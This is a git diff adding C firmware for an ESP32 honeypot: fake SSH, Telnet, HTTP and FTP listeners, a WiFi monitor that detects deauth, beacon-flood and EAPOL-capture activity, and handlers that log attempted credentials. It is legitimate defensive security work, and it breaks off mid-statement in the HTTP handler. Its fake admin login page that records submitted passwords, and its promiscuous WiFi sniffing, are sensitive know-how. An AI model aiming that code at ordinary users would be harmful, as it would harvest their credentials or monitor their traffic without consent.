@ -0,0 +1,204 @@
|
||||
/*
|
||||
* hp_tcp_services.c
|
||||
* Generic TCP listener + public API for honeypot services.
|
||||
* Service handlers live in services/svc_*.c
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <errno.h>
|
||||
#include "esp_log.h"
|
||||
#include "services/svc_common.h"
|
||||
#include "hp_tcp_services.h"
|
||||
|
||||
#define TAG "HP_SVC"
|
||||
|
||||
#define SVC_STACK_SIZE 4096
|
||||
#define SVC_PRIORITY 4
|
||||
#define SVC_CORE 1
|
||||
#define ACCEPT_TIMEOUT_S 2
|
||||
#define CLIENT_TIMEOUT_S 5
|
||||
|
||||
/* ============================================================
|
||||
* Service descriptors
|
||||
* ============================================================ */
|
||||
static hp_svc_desc_t services[HP_SVC_COUNT] = {
|
||||
[HP_SVC_SSH] = { .name = "ssh", .port = 22 },
|
||||
[HP_SVC_TELNET] = { .name = "telnet", .port = 23 },
|
||||
[HP_SVC_HTTP] = { .name = "http", .port = 80 },
|
||||
[HP_SVC_FTP] = { .name = "ftp", .port = 21 },
|
||||
};
|
||||
|
||||
static const hp_client_handler_t handlers[HP_SVC_COUNT] = {
|
||||
[HP_SVC_SSH] = handle_ssh_client,
|
||||
[HP_SVC_TELNET] = handle_telnet_client,
|
||||
[HP_SVC_HTTP] = handle_http_client,
|
||||
[HP_SVC_FTP] = handle_ftp_client,
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Name <-> ID mapping
|
||||
* ============================================================ */
|
||||
int hp_svc_name_to_id(const char *name)
|
||||
{
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++) {
|
||||
if (strcmp(services[i].name, name) == 0)
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *hp_svc_id_to_name(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return "unknown";
|
||||
return services[svc].name;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Client IP helper
|
||||
* ============================================================ */
|
||||
static void sockaddr_to_str(const struct sockaddr_in *addr,
|
||||
char *ip_buf, size_t ip_len,
|
||||
uint16_t *port_out)
|
||||
{
|
||||
inet_ntoa_r(addr->sin_addr, ip_buf, ip_len);
|
||||
*port_out = ntohs(addr->sin_port);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Generic listener task
|
||||
* ============================================================ */
|
||||
static void listener_task(void *arg)
|
||||
{
|
||||
hp_svc_desc_t *svc = (hp_svc_desc_t *)arg;
|
||||
int listen_fd = -1;
|
||||
|
||||
struct sockaddr_in addr = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(svc->port),
|
||||
.sin_addr.s_addr = htonl(INADDR_ANY),
|
||||
};
|
||||
|
||||
listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (listen_fd < 0) {
|
||||
ESP_LOGE(TAG, "%s: socket() failed: %d", svc->name, errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
int opt = 1;
|
||||
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
|
||||
|
||||
if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
|
||||
ESP_LOGE(TAG, "%s: bind(%d) failed: %d", svc->name, svc->port, errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (listen(listen_fd, 2) < 0) {
|
||||
ESP_LOGE(TAG, "%s: listen() failed: %d", svc->name, errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
struct timeval tv = { .tv_sec = ACCEPT_TIMEOUT_S, .tv_usec = 0 };
|
||||
setsockopt(listen_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
ESP_LOGI(TAG, "%s listening on port %d", svc->name, svc->port);
|
||||
svc->running = true;
|
||||
|
||||
while (!svc->stop_req) {
|
||||
struct sockaddr_in client_addr;
|
||||
socklen_t clen = sizeof(client_addr);
|
||||
int client_fd = accept(listen_fd,
|
||||
(struct sockaddr *)&client_addr, &clen);
|
||||
|
||||
if (client_fd < 0) {
|
||||
if (errno == EAGAIN || errno == EWOULDBLOCK)
|
||||
continue;
|
||||
ESP_LOGW(TAG, "%s: accept error: %d", svc->name, errno);
|
||||
continue;
|
||||
}
|
||||
|
||||
struct timeval ctv = { .tv_sec = CLIENT_TIMEOUT_S, .tv_usec = 0 };
|
||||
setsockopt(client_fd, SOL_SOCKET, SO_RCVTIMEO, &ctv, sizeof(ctv));
|
||||
|
||||
char client_ip[16];
|
||||
uint16_t client_port;
|
||||
sockaddr_to_str(&client_addr, client_ip, sizeof(client_ip),
|
||||
&client_port);
|
||||
|
||||
hp_svc_id_t id = (hp_svc_id_t)(svc - services);
|
||||
if (id < HP_SVC_COUNT && handlers[id]) {
|
||||
handlers[id](client_fd, client_ip, client_port, svc);
|
||||
}
|
||||
|
||||
close(client_fd);
|
||||
}
|
||||
|
||||
done:
|
||||
if (listen_fd >= 0)
|
||||
close(listen_fd);
|
||||
svc->running = false;
|
||||
svc->stop_req = false;
|
||||
ESP_LOGI(TAG, "%s stopped", svc->name);
|
||||
svc->task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
void hp_svc_start(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return;
|
||||
hp_svc_desc_t *d = &services[svc];
|
||||
if (d->running || d->task) {
|
||||
ESP_LOGW(TAG, "%s already running", d->name);
|
||||
return;
|
||||
}
|
||||
|
||||
d->stop_req = false;
|
||||
d->connections = 0;
|
||||
d->auth_attempts = 0;
|
||||
|
||||
char name[16];
|
||||
snprintf(name, sizeof(name), "hp_%s", d->name);
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(listener_task, name, SVC_STACK_SIZE,
|
||||
d, SVC_PRIORITY, &d->task, SVC_CORE);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create %s task", d->name);
|
||||
d->task = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void hp_svc_stop(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return;
|
||||
hp_svc_desc_t *d = &services[svc];
|
||||
if (!d->running && !d->task) {
|
||||
ESP_LOGW(TAG, "%s not running", d->name);
|
||||
return;
|
||||
}
|
||||
d->stop_req = true;
|
||||
ESP_LOGI(TAG, "%s stop requested", d->name);
|
||||
}
|
||||
|
||||
bool hp_svc_running(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return false;
|
||||
return services[svc].running;
|
||||
}
|
||||
|
||||
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return 0;
|
||||
hp_svc_desc_t *d = &services[svc];
|
||||
return snprintf(buf, len,
|
||||
"service=%s running=%s port=%d connections=%lu auth_attempts=%lu",
|
||||
d->name,
|
||||
d->running ? "yes" : "no",
|
||||
d->port,
|
||||
(unsigned long)d->connections,
|
||||
(unsigned long)d->auth_attempts);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
30
espilon_bot/components/mod_honeypot/hp_tcp_services.h
Normal file
30
espilon_bot/components/mod_honeypot/hp_tcp_services.h
Normal file
@ -0,0 +1,30 @@
|
||||
/*
|
||||
* hp_tcp_services.h
|
||||
* Lightweight TCP honeypot listeners (SSH, Telnet, HTTP, FTP).
|
||||
* Each service runs as an independent FreeRTOS task.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
typedef enum {
|
||||
HP_SVC_SSH = 0,
|
||||
HP_SVC_TELNET = 1,
|
||||
HP_SVC_HTTP = 2,
|
||||
HP_SVC_FTP = 3,
|
||||
HP_SVC_COUNT
|
||||
} hp_svc_id_t;
|
||||
|
||||
/* Start / stop a single service */
|
||||
void hp_svc_start(hp_svc_id_t svc);
|
||||
void hp_svc_stop(hp_svc_id_t svc);
|
||||
bool hp_svc_running(hp_svc_id_t svc);
|
||||
|
||||
/* Get service status line (key=value format) */
|
||||
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len);
|
||||
|
||||
/* Map service name string to id, returns -1 on unknown */
|
||||
int hp_svc_name_to_id(const char *name);
|
||||
|
||||
/* Map id to name */
|
||||
const char *hp_svc_id_to_name(hp_svc_id_t svc);
|
||||
320
espilon_bot/components/mod_honeypot/hp_wifi_monitor.c
Normal file
320
espilon_bot/components/mod_honeypot/hp_wifi_monitor.c
Normal file
@ -0,0 +1,320 @@
|
||||
/*
|
||||
* hp_wifi_monitor.c
|
||||
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
|
||||
* beacon flood, EAPOL capture detection.
|
||||
*
|
||||
* Sends EVT| events via event_send().
|
||||
* Conflict guard: refuses to start if the fakeAP sniffer is active.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
#include "hp_config.h"
|
||||
#include "hp_wifi_monitor.h"
|
||||
|
||||
#define TAG "HP_WIFI"
|
||||
|
||||
#define WIFI_MON_STACK 4096
|
||||
#define WIFI_MON_PRIO 4
|
||||
#define WIFI_MON_CORE 1
|
||||
|
||||
/* Rate-limit counters (only report every N-th event) */
|
||||
#define PROBE_RATE_LIMIT 10
|
||||
#define DEAUTH_RATE_LIMIT 5
|
||||
#define BEACON_RATE_LIMIT 20
|
||||
#define EAPOL_RATE_LIMIT 3
|
||||
|
||||
/* Beacon flood detection: N beacons in BEACON_WINDOW_MS from same src */
|
||||
#define BEACON_FLOOD_THRESHOLD 50
|
||||
#define BEACON_WINDOW_MS 5000
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
static atomic_bool mon_running = false;
|
||||
static atomic_bool mon_stop_req = false;
|
||||
static TaskHandle_t mon_task = NULL;
|
||||
|
||||
static uint32_t cnt_probe = 0;
|
||||
static uint32_t cnt_deauth = 0;
|
||||
static uint32_t cnt_beacon = 0;
|
||||
static uint32_t cnt_eapol = 0;
|
||||
|
||||
/* Multi-source beacon flood tracker */
|
||||
#define BEACON_TRACK_MAX 4
|
||||
|
||||
typedef struct {
|
||||
uint8_t mac[6];
|
||||
uint32_t count;
|
||||
uint32_t start;
|
||||
bool alerted;
|
||||
} beacon_tracker_t;
|
||||
|
||||
static beacon_tracker_t beacon_trackers[BEACON_TRACK_MAX];
|
||||
static int beacon_tracker_count = 0;
|
||||
|
||||
/* ============================================================
|
||||
* IEEE 802.11 helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Frame control subtypes */
|
||||
#define WLAN_FC_TYPE_MGMT 0x00
|
||||
#define WLAN_FC_STYPE_PROBE 0x40 /* Probe Request */
|
||||
#define WLAN_FC_STYPE_BEACON 0x80 /* Beacon */
|
||||
#define WLAN_FC_STYPE_DEAUTH 0xC0 /* Deauthentication */
|
||||
|
||||
/* EAPOL: data frame with ethertype 0x888E */
|
||||
#define ETHERTYPE_EAPOL 0x888E
|
||||
|
||||
static void mac_to_str(const uint8_t *mac, char *buf, size_t len)
|
||||
{
|
||||
snprintf(buf, len, "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Beacon flood helper — find or create tracker for MAC
|
||||
* ============================================================ */
|
||||
static beacon_tracker_t *beacon_find_or_create(const uint8_t *mac, uint32_t now)
|
||||
{
|
||||
/* Search existing */
|
||||
for (int i = 0; i < beacon_tracker_count; i++) {
|
||||
if (memcmp(beacon_trackers[i].mac, mac, 6) == 0)
|
||||
return &beacon_trackers[i];
|
||||
}
|
||||
|
||||
/* Evict oldest if full */
|
||||
if (beacon_tracker_count >= BEACON_TRACK_MAX) {
|
||||
int oldest = 0;
|
||||
for (int i = 1; i < beacon_tracker_count; i++) {
|
||||
if (beacon_trackers[i].start < beacon_trackers[oldest].start)
|
||||
oldest = i;
|
||||
}
|
||||
if (oldest < beacon_tracker_count - 1)
|
||||
beacon_trackers[oldest] = beacon_trackers[beacon_tracker_count - 1];
|
||||
beacon_tracker_count--;
|
||||
}
|
||||
|
||||
beacon_tracker_t *t = &beacon_trackers[beacon_tracker_count++];
|
||||
memcpy(t->mac, mac, 6);
|
||||
t->count = 0;
|
||||
t->start = now;
|
||||
t->alerted = false;
|
||||
return t;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Promiscuous RX callback
|
||||
* ============================================================ */
|
||||
static void wifi_monitor_rx_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (!mon_running)
|
||||
return;
|
||||
|
||||
const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf;
|
||||
const uint8_t *frame = pkt->payload;
|
||||
uint16_t frame_len = pkt->rx_ctrl.sig_len;
|
||||
|
||||
if (frame_len < 24)
|
||||
return;
|
||||
|
||||
uint8_t fc0 = frame[0];
|
||||
uint8_t fc_type = fc0 & 0x0C; /* bits 2-3 */
|
||||
uint8_t fc_subtype = fc0 & 0xF0; /* bits 4-7 */
|
||||
|
||||
/* Source MAC (addr2 = transmitter) at offset 10 */
|
||||
const uint8_t *src_mac = &frame[10];
|
||||
char mac_str[18];
|
||||
|
||||
if (type == WIFI_PKT_MGMT) {
|
||||
if (fc_type == WLAN_FC_TYPE_MGMT) {
|
||||
|
||||
/* --- Probe Request --- */
|
||||
if (fc_subtype == WLAN_FC_STYPE_PROBE) {
|
||||
cnt_probe++;
|
||||
if ((cnt_probe % PROBE_RATE_LIMIT) == 1) {
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "count=%lu",
|
||||
(unsigned long)cnt_probe);
|
||||
event_send("WIFI_PROBE", "LOW",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* --- Deauthentication --- */
|
||||
if (fc_subtype == WLAN_FC_STYPE_DEAUTH) {
|
||||
cnt_deauth++;
|
||||
if ((cnt_deauth % DEAUTH_RATE_LIMIT) == 1) {
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "reason=%d count=%lu",
|
||||
(frame_len >= 26) ? (frame[24] | (frame[25] << 8)) : 0,
|
||||
(unsigned long)cnt_deauth);
|
||||
event_send("WIFI_DEAUTH", "HIGH",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* --- Beacon flood detection (multi-source) --- */
|
||||
if (fc_subtype == WLAN_FC_STYPE_BEACON) {
|
||||
uint32_t now = (uint32_t)(xTaskGetTickCount() *
|
||||
portTICK_PERIOD_MS);
|
||||
|
||||
beacon_tracker_t *bt = beacon_find_or_create(src_mac, now);
|
||||
|
||||
if ((now - bt->start) >= BEACON_WINDOW_MS) {
|
||||
/* Window expired, reset */
|
||||
bt->start = now;
|
||||
bt->count = 1;
|
||||
bt->alerted = false;
|
||||
} else {
|
||||
bt->count++;
|
||||
if (bt->count >= BEACON_FLOOD_THRESHOLD && !bt->alerted) {
|
||||
bt->alerted = true;
|
||||
cnt_beacon++;
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"beacons=%lu window_ms=%d",
|
||||
(unsigned long)bt->count,
|
||||
BEACON_WINDOW_MS);
|
||||
event_send("WIFI_BEACON_FLOOD", "HIGH",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* --- EAPOL detection (data frames with 802.1X ethertype) --- */
|
||||
if (type == WIFI_PKT_DATA && frame_len >= 36) {
|
||||
/* LLC/SNAP header starts at offset 24 for data frames:
|
||||
* 24: AA AA 03 00 00 00 [ethertype_hi] [ethertype_lo] */
|
||||
if (frame[24] == 0xAA && frame[25] == 0xAA && frame[26] == 0x03) {
|
||||
uint16_t ethertype = (frame[30] << 8) | frame[31];
|
||||
if (ethertype == ETHERTYPE_EAPOL) {
|
||||
cnt_eapol++;
|
||||
if ((cnt_eapol % EAPOL_RATE_LIMIT) == 1) {
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "count=%lu",
|
||||
(unsigned long)cnt_eapol);
|
||||
event_send("WIFI_EAPOL", "CRITICAL",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Monitor task (just keeps alive, callback does the work)
|
||||
* ============================================================ */
|
||||
static void wifi_monitor_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
esp_err_t err = esp_wifi_set_promiscuous_rx_cb(wifi_monitor_rx_cb);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "set_promiscuous_rx_cb failed: %s", esp_err_to_name(err));
|
||||
goto done;
|
||||
}
|
||||
|
||||
err = esp_wifi_set_promiscuous(true);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "set_promiscuous(true) failed: %s", esp_err_to_name(err));
|
||||
goto done;
|
||||
}
|
||||
|
||||
/* Filter: management + data frames only */
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT |
|
||||
WIFI_PROMIS_FILTER_MASK_DATA
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
ESP_LOGI(TAG, "WiFi monitor started");
|
||||
mon_running = true;
|
||||
|
||||
/* Idle loop, checking for stop request */
|
||||
while (!mon_stop_req) {
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
}
|
||||
|
||||
esp_wifi_set_promiscuous(false);
|
||||
esp_wifi_set_promiscuous_rx_cb(NULL);
|
||||
|
||||
done:
|
||||
mon_running = false;
|
||||
mon_stop_req = false;
|
||||
ESP_LOGI(TAG, "WiFi monitor stopped");
|
||||
mon_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
void hp_wifi_monitor_start(void)
|
||||
{
|
||||
if (mon_running || mon_task) {
|
||||
ESP_LOGW(TAG, "WiFi monitor already running");
|
||||
return;
|
||||
}
|
||||
|
||||
cnt_probe = cnt_deauth = cnt_beacon = cnt_eapol = 0;
|
||||
memset(beacon_trackers, 0, sizeof(beacon_trackers));
|
||||
beacon_tracker_count = 0;
|
||||
mon_stop_req = false;
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(wifi_monitor_task, "hp_wifi",
|
||||
WIFI_MON_STACK, NULL, WIFI_MON_PRIO, &mon_task, WIFI_MON_CORE);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create WiFi monitor task");
|
||||
mon_task = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void hp_wifi_monitor_stop(void)
|
||||
{
|
||||
if (!mon_running && !mon_task) {
|
||||
ESP_LOGW(TAG, "WiFi monitor not running");
|
||||
return;
|
||||
}
|
||||
mon_stop_req = true;
|
||||
ESP_LOGI(TAG, "WiFi monitor stop requested");
|
||||
}
|
||||
|
||||
bool hp_wifi_monitor_running(void)
|
||||
{
|
||||
return mon_running;
|
||||
}
|
||||
|
||||
int hp_wifi_monitor_status(char *buf, size_t len)
|
||||
{
|
||||
return snprintf(buf, len,
|
||||
"running=%s probes=%lu deauth=%lu beacon_flood=%lu eapol=%lu",
|
||||
mon_running ? "yes" : "no",
|
||||
(unsigned long)cnt_probe,
|
||||
(unsigned long)cnt_deauth,
|
||||
(unsigned long)cnt_beacon,
|
||||
(unsigned long)cnt_eapol);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
13
espilon_bot/components/mod_honeypot/hp_wifi_monitor.h
Normal file
13
espilon_bot/components/mod_honeypot/hp_wifi_monitor.h
Normal file
@ -0,0 +1,13 @@
|
||||
/*
|
||||
* hp_wifi_monitor.h
|
||||
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
|
||||
* beacon flood, EAPOL capture detection.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
void hp_wifi_monitor_start(void);
|
||||
void hp_wifi_monitor_stop(void);
|
||||
bool hp_wifi_monitor_running(void);
|
||||
int hp_wifi_monitor_status(char *buf, size_t len);
|
||||
41
espilon_bot/components/mod_honeypot/services/svc_common.h
Normal file
41
espilon_bot/components/mod_honeypot/services/svc_common.h
Normal file
@ -0,0 +1,41 @@
|
||||
/*
|
||||
* svc_common.h
|
||||
* Shared types and helpers for honeypot TCP service handlers.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "lwip/sockets.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
#include "hp_config.h"
|
||||
|
||||
#define MAX_CLIENT_BUF 256
|
||||
|
||||
/* Service runtime descriptor (owned by hp_tcp_services.c) */
|
||||
typedef struct {
|
||||
const char *name;
|
||||
uint16_t port;
|
||||
volatile bool running;
|
||||
volatile bool stop_req;
|
||||
TaskHandle_t task;
|
||||
uint32_t connections;
|
||||
uint32_t auth_attempts;
|
||||
} hp_svc_desc_t;
|
||||
|
||||
/* Client handler signature */
|
||||
typedef void (*hp_client_handler_t)(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc);
|
||||
|
||||
/* Per-service handlers (implemented in svc_*.c) */
|
||||
void handle_ssh_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
void handle_telnet_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
void handle_http_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
void handle_ftp_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
68
espilon_bot/components/mod_honeypot/services/svc_ftp.c
Normal file
68
espilon_bot/components/mod_honeypot/services/svc_ftp.c
Normal file
@ -0,0 +1,68 @@
|
||||
/*
|
||||
* svc_ftp.c
|
||||
* FTP honeypot handler — banner + USER/PASS capture + tarpit.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <strings.h>
|
||||
#include "svc_common.h"
|
||||
|
||||
void handle_ftp_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("ftp", banner, sizeof(banner));
|
||||
send(client_fd, banner, strlen(banner), 0);
|
||||
|
||||
svc->connections++;
|
||||
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 21, "service=ftp", NULL);
|
||||
|
||||
char user[64] = {0}, pass[64] = {0};
|
||||
|
||||
for (int round = 0; round < 4; round++) {
|
||||
char buf[MAX_CLIENT_BUF];
|
||||
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
|
||||
if (n <= 0) break;
|
||||
buf[n] = '\0';
|
||||
|
||||
if (strncasecmp(buf, "USER ", 5) == 0) {
|
||||
strncpy(user, buf + 5, sizeof(user) - 1);
|
||||
user[sizeof(user) - 1] = '\0';
|
||||
char *p = user; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
|
||||
const char *resp = "331 Password required\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
} else if (strncasecmp(buf, "PASS ", 5) == 0) {
|
||||
strncpy(pass, buf + 5, sizeof(pass) - 1);
|
||||
pass[sizeof(pass) - 1] = '\0';
|
||||
char *p = pass; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
|
||||
const char *resp = "530 Login incorrect\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
break;
|
||||
} else if (strncasecmp(buf, "QUIT", 4) == 0) {
|
||||
const char *resp = "221 Goodbye\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
break;
|
||||
} else {
|
||||
const char *resp = "500 Unknown command\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
}
|
||||
}
|
||||
|
||||
if (user[0] || pass[0]) {
|
||||
svc->auth_attempts++;
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"service=ftp user='%.32s' pass='%.32s'", user, pass);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 21, detail, NULL);
|
||||
}
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
106
espilon_bot/components/mod_honeypot/services/svc_http.c
Normal file
106
espilon_bot/components/mod_honeypot/services/svc_http.c
Normal file
@ -0,0 +1,106 @@
|
||||
/*
|
||||
* svc_http.c
|
||||
* HTTP honeypot handler — request logging + POST body capture.
|
||||
* Serves a fake login page to capture credentials.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include "svc_common.h"
|
||||
|
||||
/* Extract server name from NVS banner (e.g. "Apache/2.4.54 (Ubuntu)") */
|
||||
static void extract_server_name(char *out, size_t out_len)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("http", banner, sizeof(banner));
|
||||
|
||||
/* Banner format: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" */
|
||||
char *srv = strstr(banner, "Server: ");
|
||||
if (srv) {
|
||||
srv += 8;
|
||||
char *end = strstr(srv, "\r\n");
|
||||
size_t len = end ? (size_t)(end - srv) : strlen(srv);
|
||||
if (len >= out_len) len = out_len - 1;
|
||||
memcpy(out, srv, len);
|
||||
out[len] = '\0';
|
||||
} else {
|
||||
snprintf(out, out_len, "Apache/2.4.54");
|
||||
}
|
||||
}
|
||||
|
||||
/* Login page body */
|
||||
static const char LOGIN_PAGE[] =
|
||||
"<html><head><title>Admin Panel</title>"
|
||||
"<style>body{font-family:sans-serif;background:#f0f0f0;display:flex;"
|
||||
"justify-content:center;align-items:center;height:100vh;margin:0}"
|
||||
".box{background:#fff;padding:2rem;border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,.2)}"
|
||||
"input{display:block;margin:0.5rem 0;padding:0.4rem;width:200px}"
|
||||
"button{padding:0.5rem 1rem;cursor:pointer}</style></head>"
|
||||
"<body><div class='box'><h2>Authentication Required</h2>"
|
||||
"<form method='POST' action='/login'>"
|
||||
"<input name='user' placeholder='Username'>"
|
||||
"<input name='pass' type='password' placeholder='Password'>"
|
||||
"<button type='submit'>Login</button>"
|
||||
"</form></div></body></html>";
|
||||
|
||||
void handle_http_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
svc->connections++;
|
||||
|
||||
char buf[MAX_CLIENT_BUF];
|
||||
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
|
||||
if (n <= 0) return;
|
||||
buf[n] = '\0';
|
||||
|
||||
/* Extract first line without modifying buf (needed for POST body search) */
|
||||
char first_line[130];
|
||||
char *eol = strstr(buf, "\r\n");
|
||||
size_t fl_len = eol ? (size_t)(eol - buf) : (size_t)n;
|
||||
if (fl_len >= sizeof(first_line)) fl_len = sizeof(first_line) - 1;
|
||||
memcpy(first_line, buf, fl_len);
|
||||
first_line[fl_len] = '\0';
|
||||
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail), "service=http request='%.128s'", first_line);
|
||||
event_send("SVC_CONNECT", "MEDIUM", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 80, detail, NULL);
|
||||
|
||||
/* Check for POST data → auth attempt */
|
||||
if (strncmp(buf, "POST", 4) == 0) {
|
||||
svc->auth_attempts++;
|
||||
char *body = strstr(buf, "\r\n\r\n");
|
||||
if (body) {
|
||||
body += 4;
|
||||
char post_detail[192];
|
||||
snprintf(post_detail, sizeof(post_detail),
|
||||
"service=http post='%.128s'", body);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 80, post_detail, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
/* Build proper HTTP response */
|
||||
char server_name[64];
|
||||
extract_server_name(server_name, sizeof(server_name));
|
||||
|
||||
int body_len = (int)sizeof(LOGIN_PAGE) - 1;
|
||||
char resp_hdr[256];
|
||||
int hdr_len = snprintf(resp_hdr, sizeof(resp_hdr),
|
||||
